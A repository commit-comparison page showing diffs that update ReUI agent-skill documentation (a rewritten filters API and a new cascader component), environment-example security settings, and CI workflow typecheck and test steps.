Compare commits
17
Commits
v1.0.0
...
27c1ba7e23
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
27c1ba7e23 | ||
|
|
19af67f8a3 | ||
|
|
8a8ea95da6 | ||
|
|
65434857bb | ||
|
|
3d4edbad8b | ||
|
|
28f1f35f16 | ||
|
|
0b426fa7ae | ||
|
|
98e4dcdefb | ||
|
|
0f7daf77e3 | ||
|
|
a0f0bff65a | ||
|
|
75661f7443 | ||
|
|
15b5cce8cc | ||
|
|
3dc8e6d5e2 | ||
|
|
7a3f1fad25 | ||
|
|
454c5009d1 | ||
|
|
40030ce06c | ||
|
|
45812fef6a |
No files matched your search
@@ -5,7 +5,7 @@ user-invocable: false
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
---
|
||||
|
||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# ReUI components
|
||||
|
||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
|
||||
@@ -106,22 +106,60 @@ Common mistakes:
|
||||
|
||||
## filters
|
||||
|
||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
||||
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
const [filters, setFilters] = useState<Filter[]>([
|
||||
createFilter("priority", "is_any_of", ["low"]),
|
||||
])
|
||||
const fields: FilterFieldConfig[] = [
|
||||
{ key: "priority", label: "Priority", type: "multiselect",
|
||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
||||
const fields: FilterField[] = [
|
||||
{ id: "title", label: "Title", type: "text" },
|
||||
{
|
||||
id: "status",
|
||||
label: "Status",
|
||||
type: "select",
|
||||
options: [
|
||||
{ value: "active", label: "Active" },
|
||||
{ value: "archived", label: "Archived" },
|
||||
],
|
||||
},
|
||||
]
|
||||
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||
|
||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
||||
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||
```
|
||||
|
||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
||||
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||
|
||||
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||
|
||||
## cascader
|
||||
|
||||
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||
<CascaderTrigger render={<Button variant="outline" />}>
|
||||
<CascaderValue placeholder="Select an attribute" />
|
||||
</CascaderTrigger>
|
||||
<CascaderContent className="w-80">
|
||||
<CascaderPanel>
|
||||
<CascaderNav>
|
||||
<CascaderBreadcrumb />
|
||||
<CascaderInput />
|
||||
</CascaderNav>
|
||||
<CascaderEmpty />
|
||||
<CascaderList maxHeight={288}>
|
||||
<CascaderItems />
|
||||
</CascaderList>
|
||||
<CascaderStatus />
|
||||
</CascaderPanel>
|
||||
</CascaderContent>
|
||||
</Cascader>
|
||||
```
|
||||
|
||||
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||
|
||||
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||
|
||||
## date-selector
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ user-invocable: false
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
---
|
||||
|
||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# ReUI components
|
||||
|
||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
|
||||
@@ -106,22 +106,60 @@ Common mistakes:
|
||||
|
||||
## filters
|
||||
|
||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
||||
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
const [filters, setFilters] = useState<Filter[]>([
|
||||
createFilter("priority", "is_any_of", ["low"]),
|
||||
])
|
||||
const fields: FilterFieldConfig[] = [
|
||||
{ key: "priority", label: "Priority", type: "multiselect",
|
||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
||||
const fields: FilterField[] = [
|
||||
{ id: "title", label: "Title", type: "text" },
|
||||
{
|
||||
id: "status",
|
||||
label: "Status",
|
||||
type: "select",
|
||||
options: [
|
||||
{ value: "active", label: "Active" },
|
||||
{ value: "archived", label: "Archived" },
|
||||
],
|
||||
},
|
||||
]
|
||||
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||
|
||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
||||
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||
```
|
||||
|
||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
||||
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||
|
||||
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||
|
||||
## cascader
|
||||
|
||||
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||
<CascaderTrigger render={<Button variant="outline" />}>
|
||||
<CascaderValue placeholder="Select an attribute" />
|
||||
</CascaderTrigger>
|
||||
<CascaderContent className="w-80">
|
||||
<CascaderPanel>
|
||||
<CascaderNav>
|
||||
<CascaderBreadcrumb />
|
||||
<CascaderInput />
|
||||
</CascaderNav>
|
||||
<CascaderEmpty />
|
||||
<CascaderList maxHeight={288}>
|
||||
<CascaderItems />
|
||||
</CascaderList>
|
||||
<CascaderStatus />
|
||||
</CascaderPanel>
|
||||
</CascaderContent>
|
||||
</Cascader>
|
||||
```
|
||||
|
||||
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||
|
||||
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||
|
||||
## date-selector
|
||||
|
||||
|
||||
@@ -6,18 +6,18 @@ alwaysApply: false
|
||||
|
||||
---
|
||||
name: reui
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 17 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
user-invocable: false
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
---
|
||||
|
||||
> **ReUI skill version `42d70dcc3d`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||
|
||||
- **components** - the 17 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||
@@ -64,7 +64,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
||||
|
||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||
- [rules/components.md](./rules/components.md) - the 17 components, the data-grid contract, base vs radix
|
||||
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
|
||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||
|
||||
@@ -5,7 +5,7 @@ user-invocable: false
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
---
|
||||
|
||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
> **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# ReUI components
|
||||
|
||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
|
||||
@@ -106,22 +106,60 @@ Common mistakes:
|
||||
|
||||
## filters
|
||||
|
||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
||||
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
const [filters, setFilters] = useState<Filter[]>([
|
||||
createFilter("priority", "is_any_of", ["low"]),
|
||||
])
|
||||
const fields: FilterFieldConfig[] = [
|
||||
{ key: "priority", label: "Priority", type: "multiselect",
|
||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
||||
const fields: FilterField[] = [
|
||||
{ id: "title", label: "Title", type: "text" },
|
||||
{
|
||||
id: "status",
|
||||
label: "Status",
|
||||
type: "select",
|
||||
options: [
|
||||
{ value: "active", label: "Active" },
|
||||
{ value: "archived", label: "Archived" },
|
||||
],
|
||||
},
|
||||
]
|
||||
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||
|
||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
||||
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||
```
|
||||
|
||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
||||
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||
|
||||
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||
|
||||
## cascader
|
||||
|
||||
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||
<CascaderTrigger render={<Button variant="outline" />}>
|
||||
<CascaderValue placeholder="Select an attribute" />
|
||||
</CascaderTrigger>
|
||||
<CascaderContent className="w-80">
|
||||
<CascaderPanel>
|
||||
<CascaderNav>
|
||||
<CascaderBreadcrumb />
|
||||
<CascaderInput />
|
||||
</CascaderNav>
|
||||
<CascaderEmpty />
|
||||
<CascaderList maxHeight={288}>
|
||||
<CascaderItems />
|
||||
</CascaderList>
|
||||
<CascaderStatus />
|
||||
</CascaderPanel>
|
||||
</CascaderContent>
|
||||
</Cascader>
|
||||
```
|
||||
|
||||
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||
|
||||
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||
|
||||
## date-selector
|
||||
|
||||
|
||||
@@ -21,7 +21,6 @@ node_modules
|
||||
**/node_modules
|
||||
**/dist
|
||||
apps/web/src/routeTree.gen.ts
|
||||
apps/web/playwright-report
|
||||
apps/web/test-results
|
||||
|
||||
*.md
|
||||
@@ -30,7 +29,6 @@ CONTRIBUTING.md
|
||||
LICENSE
|
||||
docs
|
||||
|
||||
.pre-commit-config.yaml
|
||||
.releaserc.json
|
||||
.commitlintrc.*
|
||||
commitlint.config.cjs
|
||||
|
||||
@@ -24,3 +24,12 @@ REUI_LICENSE_KEY=
|
||||
|
||||
# Server
|
||||
SERVER_PORT=8080
|
||||
|
||||
# Security hardening (prod)
|
||||
# В prod (NODE_ENV=production) сервер откажется стартовать без AUTH_REQUIRED=true
|
||||
# и реальных секретов; EVOFW_ALLOW_UNSAFE=true — явный opt-out для изолированных стендов.
|
||||
# EVOFW_ALLOW_UNSAFE=false
|
||||
# Разрешённые CORS-origins через запятую; пусто = только same-origin
|
||||
# CORS_ORIGINS=https://fw.example.com
|
||||
# Ключ для шифрования секретов в БД (AES-256-GCM, напр. токен EvoBGP); пусто = без шифрования
|
||||
# EVOFW_SECRET_KEY=
|
||||
@@ -46,7 +46,9 @@ jobs:
|
||||
- if: ${{ inputs.is_pull_request == false }}
|
||||
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
with:
|
||||
fetch-depth: 2
|
||||
# Full history: before_sha may be many commits behind the new tip
|
||||
# (multi-commit pushes) and must exist locally for git diff.
|
||||
fetch-depth: 0
|
||||
- id: detect
|
||||
name: Detect changed paths per module
|
||||
env:
|
||||
@@ -80,7 +82,14 @@ jobs:
|
||||
else
|
||||
after="${HEAD_SHA:-$(git rev-parse HEAD)}"
|
||||
before="$BEFORE_SHA"
|
||||
# Guard: a stale/unresolvable before_sha must not fail the pipeline.
|
||||
if [ -n "$before" ] && [ "$before" != "0000000000000000000000000000000000000000" ]; then
|
||||
if ! git cat-file -e "$before^{commit}" 2>/dev/null; then
|
||||
echo "::warning::before_sha $before not resolvable, falling back to HEAD~1"
|
||||
before=""
|
||||
fi
|
||||
fi
|
||||
if [ -n "$before" ]; then
|
||||
FILES="$(git diff --name-only "$before" "$after")"
|
||||
elif git rev-parse --verify HEAD~1 >/dev/null 2>&1; then
|
||||
FILES="$(git diff --name-only HEAD~1 HEAD)"
|
||||
@@ -221,6 +230,7 @@ jobs:
|
||||
set -euxo pipefail
|
||||
sh scripts/ci/pnpm-ci.sh
|
||||
pnpm --filter @evofw/web run typecheck
|
||||
pnpm --filter @evofw/web run test
|
||||
pnpm --filter @evofw/web run build
|
||||
|
||||
api:
|
||||
@@ -251,13 +261,15 @@ jobs:
|
||||
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
|
||||
restore-keys: |
|
||||
pnpm-${{ runner.os }}-
|
||||
- name: pnpm install, test, build
|
||||
- name: pnpm install, typecheck, test, build
|
||||
env:
|
||||
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
|
||||
run: |
|
||||
set -euxo pipefail
|
||||
sh scripts/ci/pnpm-ci.sh
|
||||
pnpm exec turbo run test --filter=@evofw/api
|
||||
# turbo builds @evofw/{shared,db} first — api typecheck resolves their dist types
|
||||
pnpm exec turbo run typecheck --filter=@evofw/api --filter=@evofw/db --filter=@evofw/shared
|
||||
pnpm exec turbo run test --filter=@evofw/api --filter=@evofw/shared
|
||||
pnpm exec turbo run build --filter=@evofw/api
|
||||
|
||||
commitlint:
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
22
|
||||
@@ -5,7 +5,7 @@ user-invocable: false
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
---
|
||||
|
||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
